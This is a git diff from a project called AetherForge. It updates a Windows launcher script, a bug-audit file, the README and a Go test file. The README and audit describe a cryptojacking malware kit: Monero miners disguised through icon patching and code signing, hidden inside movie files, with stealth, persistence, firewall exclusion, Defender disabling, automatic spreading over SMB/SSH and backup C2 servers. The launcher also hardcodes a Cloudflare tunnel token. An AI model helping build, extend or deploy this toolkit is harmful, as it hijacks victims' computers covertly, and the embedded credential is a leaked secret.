diff --git a/.gitignore b/.gitignore
index 0588182..f865a0a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,7 +1,7 @@
# Binaries
/bin/
*.exe
-!run.bat
+!devrun.bat
# Data (runtime)
/data/*.db
diff --git a/LAUNCH.bat b/LAUNCH.bat
index 00283ca..e033892 100644
--- a/LAUNCH.bat
+++ b/LAUNCH.bat
@@ -2,12 +2,33 @@
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge Control Deck
cd /d "%~dp0"
-set "ROOT=%CD%"
-echo.
+:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
+if exist "%CD%\AetherForge.exe" (
+ set "ROOT=!CD!"
+) else if exist "%CD%\usb\AetherForge.exe" (
+ cd /d "%CD%\usb"
+ set "ROOT=!CD!"
+) else (
+ echo.
+ echo ERROR: AetherForge.exe not found.
+ echo Expected next to this script, or in usb\AetherForge.exe
+ echo Run pack-usb.bat from the repo to build the portable bundle.
+ echo.
+ pause
+ exit /b 1
+)
+
+if not exist "%ROOT%\AetherForge.exe" (
+ echo ERROR: AetherForge.exe missing in %ROOT%
+ pause
+ exit /b 1
+)
+
echo ================================================================
echo AetherForge - Portable Control Deck
echo ================================================================
+echo Deck: %ROOT%
echo.
:: ----------------------------------------------------------------
@@ -123,108 +144,79 @@ if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
-if not exist "%ROOT%\data\cloudflare" mkdir "%ROOT%\data\cloudflare"
:: ----------------------------------------------------------------
-:: 5. Cloudflare Tunnel — auto-install, configure, start
+:: 5. Cloudflare Tunnel — MSI + token service (no JSON setup)
:: ----------------------------------------------------------------
-set "CF_DIR=%ROOT%\cloudflare"
-set "CF_CREDS_BUNDLE=%CF_DIR%\credentials.json"
-set "CF_MSI=%CF_DIR%\cloudflared-windows-amd64.msi"
-set "CF_HOSTNAME=killa.thetempleofdoom.com"
-set "CF_DATA=%ROOT%\data\cloudflare"
set "SERVER_PORT=8989"
+set "CF_MSI=%ROOT%\cloudflare\cloudflared-windows-amd64.msi"
+if not exist "%CF_MSI%" set "CF_MSI=%~dp0cloudflared-windows-amd64.msi"
+if not exist "%CF_MSI%" set "CF_MSI=%~dp0..\cloudflared-windows-amd64.msi"
+set "CF_TOKEN=eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWFhYzYzMTctMzgyYS00OTM3LTgxY2YtYjM2ZjVkNjZjYTU4IiwicyI6Ik1XRXlaV0ZqTlRndE5XTTRPUzAwT0RCa0xXRTNaR010WkdRNU56UTJZMlJoTmpNMiJ9"
+set "CF_HOSTNAME=killa.thetempleofdoom.com"
set "CF_BIN="
-set "CF_TUNNEL_ID="
set "CF_READY=0"
-:: Check credentials exist and are real (not the placeholder)
-if not exist "%CF_CREDS_BUNDLE%" goto cf_no_creds
-powershell -NoProfile -Command "exit ([string](Get-Content '%CF_CREDS_BUNDLE%') | ConvertFrom-Json | Select-Object -ExpandProperty TunnelID) -eq ''" >nul 2>nul
-if errorlevel 1 goto cf_no_creds
-
-:: Parse tunnel ID from credentials JSON
-for /f "usebackq delims=" %%i in (`powershell -NoProfile -Command "(Get-Content '%CF_CREDS_BUNDLE%' | ConvertFrom-Json).TunnelID" 2^>nul`) do set "CF_TUNNEL_ID=%%i"
-if "!CF_TUNNEL_ID!"=="" goto cf_no_creds
-echo [CF] Tunnel ID: !CF_TUNNEL_ID!
-
-:: Stage credentials into data\cloudflare\ (idempotent)
-set "CF_CREDS_LOCAL=%CF_DATA%\!CF_TUNNEL_ID!.json"
-if not exist "!CF_CREDS_LOCAL!" (
- copy "%CF_CREDS_BUNDLE%" "!CF_CREDS_LOCAL!" >nul
- echo [CF] Credentials staged to data\cloudflare\
-)
-
-:: Always regenerate config.yml with current absolute paths
-:: (handles drive-letter changes when USB is moved)
-set "CF_CONFIG=%CF_DATA%\config.yml"
-powershell -NoProfile -Command "$cfg='%CF_DATA%\config.yml'; $creds='!CF_CREDS_LOCAL!'; $port='%SERVER_PORT%'; $host='%CF_HOSTNAME%'; $id='!CF_TUNNEL_ID!'; Set-Content -Path $cfg -Value @('tunnel: ' + $id, 'credentials-file: ' + $creds, '', 'ingress:', ' - hostname: ' + $host, ' service: http://127.0.0.1:' + $port, ' - service: http_status:404')" >nul 2>nul
-echo [CF] Config written for !CF_HOSTNAME! -^> 127.0.0.1:%SERVER_PORT%
-
-:: ---- Locate or install cloudflared ----
where cloudflared >nul 2>nul
if not errorlevel 1 (
set "CF_BIN=cloudflared"
- goto cf_have_bin
+ goto cf_check_service
)
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
- goto cf_have_bin
+ goto cf_check_service
)
if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe"
- goto cf_have_bin
+ goto cf_check_service
)
-:: Not found — install from bundled MSI
-if exist "%CF_MSI%" (
- echo [CF] cloudflared not found. Installing from bundled MSI...
- msiexec /i "%CF_MSI%" /quiet /norestart /l*v "%CF_DATA%\cf-install.log"
- echo [CF] MSI install launched - waiting...
- ping -n 8 127.0.0.1 >nul
- if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
- set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
- echo [CF] cloudflared installed successfully.
- goto cf_have_bin
- )
- where cloudflared >nul 2>nul
- if not errorlevel 1 (
- set "CF_BIN=cloudflared"
- echo [CF] cloudflared installed successfully.
- goto cf_have_bin
- )
- echo [CF] WARNING: MSI completed but cloudflared not found in PATH.
- echo [CF] Try re-running LAUNCH.bat after a reboot.
- goto cf_done
-) else (
- echo [CF] WARNING: cloudflared not installed and no MSI bundled.
+if not exist "%CF_MSI%" (
+ echo [CF] WARNING: cloudflared not found and no MSI bundled. Skipping tunnel.
goto cf_done
)
+echo [CF] Installing cloudflared from bundled MSI...
+msiexec /i "%CF_MSI%" /quiet /norestart
+echo [CF] Waiting for MSI to complete...
+ping -n 10 127.0.0.1 >nul
-:cf_have_bin
+where cloudflared >nul 2>nul
+if not errorlevel 1 ( set "CF_BIN=cloudflared" & goto cf_check_service )
+if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
+ set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
+ goto cf_check_service
+)
+echo [CF] WARNING: MSI installed but cloudflared still not found. Run as Administrator.
+goto cf_done
+
+:cf_check_service
echo [CF] Binary: !CF_BIN!
-:: Check if cloudflared tunnel already running (same process = skip)
-tasklist 2>nul | findstr /I "cloudflared" >nul 2>nul
+sc query cloudflared >nul 2>nul
if not errorlevel 1 (
- echo [CF] Tunnel already running on this machine.
- echo [CF] https://!CF_HOSTNAME!
+ echo [CF] Tunnel service already registered.
+ goto cf_start_service
+)
+echo [CF] Registering tunnel service with baked token...
+"!CF_BIN!" service install %CF_TOKEN%
+if errorlevel 1 (
+ echo [CF] WARNING: service install failed. Run LAUNCH.bat as Administrator once.
+ goto cf_done
+)
+echo [CF] Tunnel service registered.
+ping -n 3 127.0.0.1 >nul
+
+:cf_start_service
+sc query cloudflared | findstr /I "RUNNING" >nul 2>nul
+if not errorlevel 1 (
+ echo [CF] Tunnel already running — https://!CF_HOSTNAME!
set "CF_READY=1"
goto cf_done
)
-
-:: Start cloudflared tunnel in background
-echo [CF] Starting Cloudflare tunnel...
-start "" /B "!CF_BIN!" tunnel --config "!CF_CONFIG!" run
-ping -n 5 127.0.0.1 >nul
+net start cloudflared >nul 2>nul
+ping -n 4 127.0.0.1 >nul
echo [CF] Tunnel live: https://!CF_HOSTNAME!
set "CF_READY=1"
-goto cf_done
-
-:cf_no_creds
-echo [CF] No valid credentials.json in cloudflare\
-echo [CF] See cloudflare\SETUP.txt to configure your tunnel once.
-echo [CF] Running in LAN-only mode this session.
:cf_done
@@ -251,7 +243,7 @@ if "!CF_READY!"=="1" (
)
echo Data: %ROOT%\data\
echo.
-echo First run: admin password printed to console below.
+echo Dashboard login printed below each start.
echo Press Ctrl+C to stop.
echo ================================================================
echo.
@@ -271,8 +263,7 @@ if "!EC!"=="0" (
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
)
-:: On exit, also stop the cloudflared tunnel
-taskkill /F /IM cloudflared.exe >nul 2>nul
+:: Cloudflare tunnel runs as a Windows service — stays up after LAUNCH.bat exits
echo.
pause
diff --git a/PROBLEMS.md b/PROBLEMS.md
index 746bb14..f3fc586 100644
--- a/PROBLEMS.md
+++ b/PROBLEMS.md
@@ -2,7 +2,7 @@
Findings from systematic bug-hunt and test expansion (May 2026).
-**Verification:** `test.bat` from project root, or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. AI handler only: `cd server && go test ./internal/api/... -run AI -v`.
+**Verification:** `test.bat` from project root (→ `scripts/test-suite.ps1`), or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. Live API matrix: `scripts/smoke-test.ps1` with server on :8989. AI handler only: `cd server && go test ./internal/api/... -run AI -v`.
---
@@ -12,16 +12,20 @@ Findings from systematic bug-hunt and test expansion (May 2026).
- [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root.
+### Frontend production (server/web)
+
+- [LOW] **server/web** — Vite build still warns on `three` vendor chunk (~760 kB gzip ~201 kB). Split out of `DashboardPage`; inherent library size — revisit on next Three/R3F bump.
+- [LOW] **server/web** — `npm audit fix` (no `--force`, May 2026) applied **0** semver-safe patches; **6 remain** (5 moderate, 1 critical). **Critical:** `happy-dom@15.x` (Vitest DOM env only — not shipped; fix needs `happy-dom@20.9+`, major bump). **Moderate:** `esbuild@0.21.x` via `vite@5` → `vitest`/`vite-node` (dev-server SSRF — [GHSA-67mh-4wv8-2f99]; prod build unaffected; fix needs `vite@8+`, major bump). Do **not** run `npm audit fix --force` — also pulls Recharts v3 / React 19 transitives. Planned upgrade batch: Vite 8 + Vitest 3 + happy-dom 20 + Recharts 3 + React 18→19.
+- [LOW] **server/web** — Transitive `three-mesh-bvh@0.7.8` deprecated vs pinned `three@0.170` (drei pulls 0.7.x; needs `0.8.0+` on next Three/R3F bump). `@types/three` now pinned to `0.170.0` (aligned with runtime).
+
### Untested packages (next coverage targets)
-- [LOW] **server/internal/builder/** — Full compile/fusion/disguise still need integration (requires go/garble/fusion source on host); unit tests cover ~110 pure-helper paths.
-- [LOW] **server/internal/api/** — `agent_config.go`, `server_policy.go` lack dedicated unit tests (covered indirectly via router/integration).
-- [LOW] **agent/stats/** — Per-OS memory/CPU internals still integration-only.
-- [LOW] **agent/deploy/** — Live SSDP/SMB/SSH/cloudflared still integration-only.
-- [LOW] **agent/client/** — Live WS/commands/posture probes still integration-only.
-- [LOW] **agent/miner/** — `engine.go` (RandomX), `pool.go` worker/resource guard, `stratum.go` TCP login/submit loop — integration-only.
-- [LOW] **server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk. (Acceptable — no runtime impact.)
-- [LOW] **server/internal/maintenance/retention.go** — `StartRetentionJobs` goroutine has no shutdown hook. (Acceptable for server process lifetime.)
+- [LOW] **server/internal/builder/** — Unit tests cover compile/fusion/disguise **helpers** (fake-go success/fail/cancel, `compileWorker`, `buildFileFusion` paired/embedded, spread-kit/fusion finish paths, manifest patching). **Integration-only** (needs real toolchain on host): successful agent/fusion `go build`/`garble` binaries, Windows PE disguise (`go-winres`, system icon extract), code signing (`signtool`/`osslsigncode`), Darwin `.app` bundle, full `buildAgent`/`buildUniversalAgent` happy-path end-to-end.
+- [LOW] **agent/stats/** — Live kernel/sysctl/vm_stat sampling still integration-only; unit tests cover pure parsers (`parseKB`, `parseMeminfo`, `parseVmStat*`, `filetimeToUint64`, `cpuBusyPercentFromDeltas`).
+- [LOW] **agent/deploy/** — Live SSDP multicast/SMB/SSH/cloudflared still integration-only; unit tests cover UPnP XML/URL/SOAP helpers, SSDP LOCATION parsing, passive-spread name/launcher helpers, and platform stubs (`go test ./deploy/...`).
+- [LOW] **agent/client/** — Live WS/commands/posture probes still integration-only; unit tests cover pure helpers in `client.go`/`ai.go` (`truncateStr`, JSON types, job payload parsing, mock HTTP for `/decide`/`/heartbeat`/`/report`).
+- [LOW] **agent/miner/** — RandomX hashing (`engine.go`), pool worker loop, and stratum TCP login/submit still integration-only; unit tests cover target/schedule helpers, stratum wire types, resource-limit guards, and hex/target math (no VM, no live TCP).
+- [LOW] ~~**server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk.~~ **Fixed May 2026** — `testdata/ws_types_fixture.json` golden file; Go `ws_types_test.go` reflects struct tags; TS `ws.test.ts` asserts same keys/shapes.
---
@@ -35,7 +39,7 @@ Findings reclassified after code verification (May 2026). Not bugs — documente
| [HIGH] `upload_log` no dedicated ingest API | By design: logs via `get_log` command / Fetch Log UI and AI `upload_log` tool reports. Documented in README Fleet Roster, tests/README, Field Guide tips. |
| [MEDIUM] Compact list / expand on click | Implemented in `AgentListItem.tsx` (`compact-row`, click toggles expand). Documented in README Fleet Roster UX. |
| [MEDIUM] Remote actions disabled when offline | Intentional — requires live WebSocket. Documented in README, `settingHelp.ts`, Field Guide tips. Vitest + Playwright `e2e/remote-actions.spec.ts`. |
-| [MEDIUM] Fusion uses vendored go-winres | Optional tool; `run.bat` installs, builder uses `go run github.com/tc-hib/go-winres`. Documented in README Forge section. |
+| [MEDIUM] Fusion uses vendored go-winres | Optional tool; `devrun.bat` installs, builder uses `go run github.com/tc-hib/go-winres`. Documented in README Forge section. |
| [LOW] SettingsPage = Calibrate / no CalibratePage | Nav label **Calibrate** → route `/settings` → `SettingsPage`. Navigation table in README. (A11y `htmlFor` remains in Open.) |
| [LOW] `types/index.ts` no runtime guards | Compile-time contracts only; comment block at top of file + tests/README Architecture note. |
| [LOW] No e2e for remote actions | Added `server/web/e2e/remote-actions.spec.ts` (offline agent mock → disabled buttons). Vitest coverage in `components.test.tsx`. |
@@ -43,6 +47,25 @@ Findings reclassified after code verification (May 2026). Not bugs — documente
---
+## Fixed (this session — dead code / wiring pass)
+
+- **[LOW] server/web + server/internal/db** — `BuildRecord.extra_files` persisted in SQLite (`extra_files` JSON column). Build Manager lists extra artifact downloads via `api.buildArtifactUrl` for historical builds, not only the post-forge strip on Forge.
+- **[LOW] server/internal/api/router.go + server/web/src/api/client.ts** — Documented agent-only `POST /agent/{decide,report,heartbeat}` (fleet-secret REST; intentionally omitted from dashboard client).
+- **[LOW] server/web/src/types/index.ts** — `BuildRecord.download_url` required in TS; added `BuildExtraFile` type. Build Manager uses stored `download_url` for primary download (ZIP/artifact paths).
+
+- **server/web/src/api/client.ts** — Added `rotateFleetSecret()` for `POST /server/rotate-secret` (was raw `fetch` in Calibrate only).
+- **server/web/src/pages/SettingsPage.tsx** — Fleet secret rotation uses `api.rotateFleetSecret()`.
+- **server/web/src/pages/BuilderPage.tsx** — Wired `blueprintDiff` + `compareBlueprint` / `blueprintName` into a dismissible diff panel after blueprint load/import; extra forge artifacts use `api.buildArtifactUrl` on the last-build strip.
+- **server/web/src/pages/BuildManagerPage.tsx** — Primary download uses stored `build.download_url` when present (artifact/ZIP paths from universal/Fusion builds).
+
+## Fixed (this session — frontend production pass)
+
+- **[LOW] server/web** — Vite large-chunk warning for `DashboardPage` (~898 kB → ~33 kB): `manualChunks` splits `three` / `recharts` / `vendor` in `vite.config.ts`; lazy `HashrateChart`, `FleetTopologyMap`, and `MatrixStreamOverlay` in `DashboardPage.tsx`. `npm run build` PASS (remaining warning is isolated `three` chunk only).
+- **[LOW] server/web** — React Router v7 future flags (`v7_startTransition`, `v7_relativeSplatPath`) opted in via shared `routerFuture` in `main.tsx` and Vitest `MemoryRouter` wrappers; Vitest stderr warnings cleared.
+- **[LOW] server/web/package.json** — Moved `@types/qrcode` and `@types/three` to `devDependencies` (types-only; runtime deps unchanged). `npm ci`, `npm run build`, `npm test -- --run`, and `depcheck` all PASS (33 files / 372 tests).
+
+---
+
## Fixed (this session — May 2026 full pass)
- **[MEDIUM] server/web/src/pages/BuilderPage.tsx** — Added `useEffect` cleanup on unmount that calls `api.cancelBuild(cancelTokenRef.current)` and sets `batchCancelRef.current = true`. Navigating away from the Forge page now cancels any in-progress server-side compile (M14 UI desync closed).
@@ -63,6 +86,7 @@ Findings reclassified after code verification (May 2026). Not bugs — documente
- **[HIGH] agent/deploy/autospread.go** — `StartAutoSpreader` moved from unconditional startup in `main.go` to `AgentClient.authenticate()` behind a `sync.Once`. Lateral movement only begins after the server accepts the fleet secret, ensuring the agent is on an owned fleet. First-run spread marker also gated behind auth.
- **[LOW] server/internal/builder/platform.go** — `platformsForRequest` universal + `TargetArch: arm64` now returns ALL matching platforms (linux-arm64 and darwin-arm64), not just the first. Test `TestPlatformsForRequestUniversalFilteredArch` updated.
- **[LOW] server/internal/maintenance/retention.go** — DB record is now deleted before artifact files (so failed DB deletes don't leave orphaned rows pointing to deleted files). `os.RemoveAll` errors are now logged instead of silently discarded.
+- **[LOW] server/internal/maintenance/retention.go** — `StopRetentionJobs` cancels the background retention loop; `main.go` defers it on exit. Test: `TestStopRetentionJobs_StopsBackgroundLoop`.
---
@@ -123,6 +147,7 @@ Findings reclassified after code verification (May 2026). Not bugs — documente
- **server/web/src/api/client.ts** — `estimateFusion` client-side prep-file guard (parity with `buildAgent`); `client.test.ts` reject test.
- **agent/miner/** — Added `stratum_test.go` (8), `pool_test.go` (8); expanded `target_test.go` (+6), `schedule_test.go` (+3). **29 tests PASS** — endpoints, Stratum JSON wire types, nonce hex, difficulty/target math, schedule guard.
- **agent/miner/schedule.go** — `MiningModeNormalized()` `"schedule"` was treated as always-on; now accepts `"scheduled"` and `"schedule"`; `allowedAt` for deterministic tests.
+- **server/web** — Pinned `@types/three@0.170.0` to match `three@0.170.0` (was `^0.184.1`, skewed from runtime; `skipLibCheck` masked). `@react-three/drei@9.122` / `@react-three/fiber@8.18` unchanged; `tsc`, `npm run build`, vitest (373) — PASS.
---
@@ -146,5 +171,21 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
| `server/internal/api/...` (full) | PASS |
| `server` Go tests | PASS (all packages) |
| `agent` Go tests | PASS (full `./...`) |
-| `server/web` vitest (full suite) | PASS — 33 files, 371 tests |
+| `server/web` vitest (full suite) | PASS — 33 files, 373 tests |
+| `server/web` `npm run build` (tsc + vite) | PASS |
+| `server/web` `npm ci` + depcheck | PASS — no missing/unused deps |
| `server/web` Playwright e2e | PASS — 5 tests |
+
+---
+
+## Backend dependency audit (May 2026)
+
+| Module | `go mod tidy` | `go build ./...` | `go test ./...` | Notes |
+|--------|---------------|------------------|-----------------|-------|
+| `server/` | Updated | PASS | PASS | Promoted `golang.org/x/crypto` to direct (bcrypt in `router.go`). Removed stale indirects (`go-winres`, `nfnt/resize`) — winres stays `go run` at build time per README. |
+| `agent/` | Updated | PASS | PASS | Promoted `github.com/libp2p/go-libp2p`, `github.com/google/uuid` to direct (`mesh_p2p.go` / `p2p` tag). `go build -tags p2p` and `-tags hollow` PASS on Windows. |
+| `fusion/` | No dep changes | PASS | N/A (no `_test.go`) | Stdlib-only module; matches `test-suite.ps1` phase 3/8. |
+
+**Dead/orphan code:** None removed. All agent/server/fusion `.go` files belong to wired packages; build-tag stubs (`mesh_p2p_stub`, `hollow_stub_*`, platform splits) are intentional feature gates, not duplicates.
+
+**Fix applied:** `fleet_handler_test.go` nil-WS cases used struct value-copy (`bad := *fh`) which tripped `go vet` (mutex copy). Replaced with `NewFleetHandler(..., nil, ...)`.
diff --git a/README.md b/README.md
index 0e65343..7ea19fe 100644
--- a/README.md
+++ b/README.md
@@ -82,7 +82,7 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
- **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token
- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
-- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `run.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
+- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `devrun.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
@@ -139,6 +139,7 @@ fusion-deliverables/Vacation/
| Field Guide | `/guide` | `GuidePage` |
| Calibrate | `/settings` | `SettingsPage` |
+
There is no separate `CalibratePage` — **Calibrate** is the nav label for the settings route.
### Calibrate (Settings)
@@ -161,7 +162,7 @@ There is no separate `CalibratePage` — **Calibrate** is the nav label for the
- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
- **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
-- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `run.bat`)
+- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `devrun.bat`)
---
@@ -169,7 +170,7 @@ There is no separate `CalibratePage` — **Calibrate** is the nav label for the
**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.
-1. Double-click **`run.bat`** in the project root.
+1. Double-click **`devrun.bat`** in the project root.
It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server.
2. Browser opens **http://localhost:8989**
@@ -240,20 +241,27 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need
```
crypto miner/
-├── run.bat ← one-click build + launch
+├── devrun.bat ← one-click build + launch (dev)
+├── run.bat / start.bat ← aliases → devrun.bat (project-root markers)
+├── test.bat ← full suite → scripts/test-suite.ps1
+├── LAUNCH.bat ← portable/USB build + tunnel (see usb/)
+├── scripts/
+│ ├── test-suite.ps1 ← Go + web + build + Playwright E2E
+│ └── smoke-test.ps1 ← API matrix B-01–B-10 (server must be running)
├── bin/
│ └── miner-server.exe
├── data/ ← config, DB, builds, preps, logs, users.json
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
├── server/
-│ ├── main.go
+│ ├── main.go ← discovers webroot/, agent/, fusion/ from repo root
│ ├── webroot/ ← production UI (copied from web/dist)
│ ├── web/ ← React command deck (Vite + TypeScript)
│ └── internal/
│ ├── api/ ← HTTP routes, WebSocket, auth
-│ └── builder/ ← forge + fusion + ZIP + media crypto
-├── agent/ ← Windows worker source (compiled by Forge)
-├── fusion/ ← prep + movie runner (embed, decrypt, play)
+│ └── builder/ ← forge + fusion (copies agent/ + fusion/ per build)
+├── agent/ ← worker source (Forge compiles per OS)
+├── fusion/ ← prep + movie runner (builder copies into build dir)
+├── tests/README.md ← test phases, E2E env vars
├── PROBLEMS.md ← known issues audit (severity-ranked)
└── README.md ← you are here
```
@@ -284,7 +292,7 @@ Full route list: `server/internal/api/router.go`
---
-## Manual Build (if you skip run.bat)
+## Manual Build (if you skip devrun.bat)
```bat
cd server\web
@@ -307,6 +315,8 @@ Open **http://localhost:8989** and sign in with your configured users.
Double-click **`test.bat`** (or `scripts\test-suite.ps1`) to run all Go, frontend, build, and E2E smoke tests. See **`tests/README.md`** for details.
+With the control server already running on port 8989, run **`scripts\smoke-test.ps1`** for the REST API matrix (B-01–B-10). Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default `testuser` / `testpass`.
+
### Dashboard dev server
```bat
@@ -335,7 +345,7 @@ Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separa
|---------|----------------|-----|
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist` → `webroot`; restart server |
| Login loop / 401 | Wrong password or missing `users.json` | Check the server console for the first-run password; reset by deleting `data/users.json` and restarting |
-| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `run.bat` or copy `server/web/dist/*` → `server/webroot/` |
+| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*` → `server/webroot/` |
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC |
diff --git a/agent/client/ai_test.go b/agent/client/ai_test.go
new file mode 100644
index 0000000..69ead3d
--- /dev/null
+++ b/agent/client/ai_test.go
@@ -0,0 +1,273 @@
+package client
+
+import (
+ "encoding/json"
+ "io"
+ "net/http"
+ "net/http/httptest"
+ "strings"
+ "testing"
+
+ "crypto-miner-agent/config"
+)
+
+func TestTruncateStr(t *testing.T) {
+ cases := []struct {
+ in, want string
+ max int
+ }{
+ {"short", "short", 10},
+ {"exactlyten", "exactlyten", 10},
+ {"this is longer than ten", "this is lo...", 10},
+ {"", "", 5},
+ {"abc", "...", 0},
+ }
+ for _, tc := range cases {
+ got := truncateStr(tc.in, tc.max)
+ if got != tc.want {
+ t.Fatalf("truncateStr(%q, %d) = %q want %q", tc.in, tc.max, got, tc.want)
+ }
+ }
+}
+
+func TestAgentStateJSONRoundTrip(t *testing.T) {
+ in := AgentState{
+ AgentID: "a1", WorkerName: "w1", Hostname: "host",
+ UptimeSeconds: 3600, IsRunning: true,
+ CPUCores: 8, CPUUsagePct: 42.5, MemoryGB: 16, MemoryUsagePct: 55.0,
+ Hashrate15m: 1200.5, SharesTotal: 100, SharesGood: 95, SharesBad: 5,
+ ProcessName: "svc.exe", InstallPath: `C:\miner`, HasPersistence: true,
+ HasTunnel: false, DefenderState: "enabled", LastError: "none",
+ }
+ var out AgentState
+ roundTrip(t, in, &out)
+ if out.AgentID != in.AgentID || out.DefenderState != "enabled" || out.SharesBad != 5 {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestToolCallJSONRoundTrip(t *testing.T) {
+ in := ToolCall{
+ Tool: "check_miner",
+ Args: map[string]string{"process_name": "miner.exe"},
+ Reason: "verify process",
+ }
+ var out ToolCall
+ roundTrip(t, in, &out)
+ if out.Tool != "check_miner" || out.Args["process_name"] != "miner.exe" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestDecideResponseJSONRoundTrip(t *testing.T) {
+ in := DecideResponse{
+ ToolCalls: []ToolCall{{Tool: "sleep", Args: map[string]string{"seconds": "5"}, Reason: "wait"}},
+ Reasoning: "back off",
+ Error: "",
+ }
+ var out DecideResponse
+ roundTrip(t, in, &out)
+ if len(out.ToolCalls) != 1 || out.Reasoning != "back off" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestToolReportJSONRoundTrip(t *testing.T) {
+ in := ToolReport{
+ AgentID: "a1", Tool: "check_miner", Success: true,
+ Output: "process running", Timestamp: "2026-05-31T12:00:00Z",
+ }
+ var out ToolReport
+ roundTrip(t, in, &out)
+ if !out.Success || out.Output != "process running" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestDecideRequestJSONRoundTrip(t *testing.T) {
+ in := decideRequest{
+ AgentID: "a1",
+ OllamaEndpoint: "http://localhost:11434",
+ Model: "llama3",
+ AgentState: AgentState{AgentID: "a1", WorkerName: "w1"},
+ }
+ var out decideRequest
+ roundTrip(t, in, &out)
+ if out.AgentID != "a1" || out.OllamaEndpoint != in.OllamaEndpoint || out.WorkerName != "w1" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestHeartbeatRequestJSONRoundTrip(t *testing.T) {
+ in := heartbeatRequest{AgentID: "a1", Status: "alive", Message: "ok"}
+ var out heartbeatRequest
+ roundTrip(t, in, &out)
+ if out.Status != "alive" || out.Message != "ok" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestShareCounts(t *testing.T) {
+ a := &AIRunner{shareStats: func() (int, int) { return 10, 7 }}
+ total, good, bad := a.shareCounts()
+ if total != 10 || good != 7 || bad != 3 {
+ t.Fatalf("got total=%d good=%d bad=%d", total, good, bad)
+ }
+
+ a.shareStats = func() (int, int) { return 5, 10 }
+ _, _, bad = a.shareCounts()
+ if bad != 0 {
+ t.Fatalf("negative bad clamped to 0, got %d", bad)
+ }
+
+ a.shareStats = nil
+ total, good, bad = a.shareCounts()
+ if total != 0 || good != 0 || bad != 0 {
+ t.Fatalf("nil shareStats should return zeros, got %d %d %d", total, good, bad)
+ }
+}
+
+func TestExecuteToolCallPolicyDisabled(t *testing.T) {
+ a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}}
+ for _, tool := range []string{"spread", "disable_defender", "execute_command"} {
